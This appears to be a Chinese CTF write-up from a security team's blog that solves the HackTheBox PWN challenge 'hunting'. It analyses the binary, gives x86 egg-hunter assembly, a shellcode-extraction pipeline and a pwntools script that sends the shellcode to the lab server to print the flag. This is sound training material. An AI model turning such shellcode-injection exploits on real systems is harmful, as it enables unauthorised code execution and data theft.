0x01 Hack the box介绍
Hack the box(简称HTB)是国外的一个网络安全靶场,提供Machine(网络攻击靶机)、Challenges(CTF)等玩法。国内可以直连访问,注册后可免费提供部分题目。
这篇文章主要分享的是2020/11/27号上线,PWN题hunting的相关解题思路。“工欲善其事必先利其器”,需要准备以下工具:
-
一台LINUX虚拟机(可选,调试必要)
-
Pwntools (Python)
-
GDB
-
Nasm
-
IDA(后台回复IDA,提供v7.7,一键绿色版带插件)
0x02 基本分析
接着看程序,跟到sub_1460(),我发现一些问题。
(1)在sub_13D0中,发现在0x5fffffff和0xf7000000之间生成了一个随机数,作为后面的strcpy的地址
(2)alarm()函数用于生成一个SIGALRM信号,在10秒后结束进程。
(3)mmap()函数实现一个调用进程虚拟内存映射,并且起始地址为sub_13D0生成的随机数。
(4)strcpy()把flag写到那个随机地址内存里,再通过memset()把原先存放flag内存置0。
(5)典型的一套写入shellcode执行漏洞,mmap()申请堆空间,第三个参数为7代表可读可写可执行,并read()接收60字节输入,最后执行。
0x03 实现EXP
首先,我们要提取egg hunter的shellcode,我们需要系统调用三个函数来帮助我们寻找flag并且把它打印出来,分别是:
-
alarm() 提高进程结束时间,10S应该是足够的,但是不完成这一步,会显示timeout -
access() 寻找flag -
write() 打印flag
由此,我们可以开始写汇编代码
global _start
section .text
_start:
push 0x64 ; 为alarm()设置100秒
pop ebx
push 0x1b ; eax = 27 -> alarm()
pop eax
int 0x80 ; 调用 alarm()
mov edi, dword 0x7b425448 ; egg = "{BTH" 小端存储的flag头,我们要去找这个
mov edx, 0x5FFFFFFF ; flag 起始地址
next_page:
or dx, 0xfff ; Linux x86 一页内存=4K dx=0x1000 - 1
next_address:
inc edx ; edx = 4096
pusha ; push 8个寄存器
xor ecx, ecx ; arg2 置 0
lea ebx, [edx + 0x4] ; 验证内存冲突
mov al, 0x21 ; access systemcall
int 0x80
cmp al, 0xf2 ; 比较返回值 bad address = EFAULT (0xf2) 则越界
popa ; pop 8个寄存器
jz next_page ; 如果bad address 跳到next_page
cmp [edx], edi ; 对比flag头
jnz next_address ; 如果没有找到flag 跳到next_address
mov ecx, edx ; flag地址给到write第二个参数
push 0x24 ; flag长度0x24 给到write第三个参数
pop edx
push 0x1 ; write()第一个参数,fd = 1 标准输出
pop ebx
mov al, 0x4 ; write systemcall
int 0x80
然后汇编,链接,提取shellcode,命令如下
nasm -f elf32 ./payload.asm && ld -m elf_i386 payload.o -o payload
objdump -d ./payload|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr 't' ' '|sed 's/ $//g'|sed 's/ /\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
提取到shellcode,接下来我们就可以写EXP了。
from pwn import *
payload = b"x6ax64x5bx6ax1bx58xcdx80xbfx48x54x42x7bxbaxffxffxffx5fx66x81xcaxffx0fx42x60x31xc9x8dx5ax04xb0x21xcdx80x3cxf2x61x74xebx39x3ax75xecx89xd1x6ax24x5ax6ax01x5bxb0x04xcdx80"
print("shellcode lenth:",len(payload))
r = remote("144.126.198.200",32617)
#r = process("./hunting")
r.send(payload)
flag = r.recv()
print("flag: " + flag.decode())
r.close()
Flag Captured!
感谢阅读,如文章有什么不足,欢迎师傅们指正。欢迎大家留言、私信、携手成长。
0x04 免责声明
本文仅限于技术研究学习,切勿将文中技术细节用作非法用途,如有违者后果自负。
关于我们
“TERRA星环”安全团队正式成立于2020年,是贵州泰若数字科技有限公司旗下以互联网攻防技术研究为目标的安全团队。团队核心成员长期从事渗透测试、代码审计、应急响应等安服工作,多次参与国家、省级攻防演练行动,具备丰富的安服及攻防对抗经验。
团队专注于漏洞挖掘、漏洞研究、红蓝对抗、CTF夺旗、溯源取证、威胁情报、代码审计、逆向分析等研究。对外提供安全评估、安全培训、安全咨询、安全集成、应急响应等服务。
原文始发于微信公众号(TERRA星环安全团队):CTF|HackTheBox PWN题 hunting WP
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论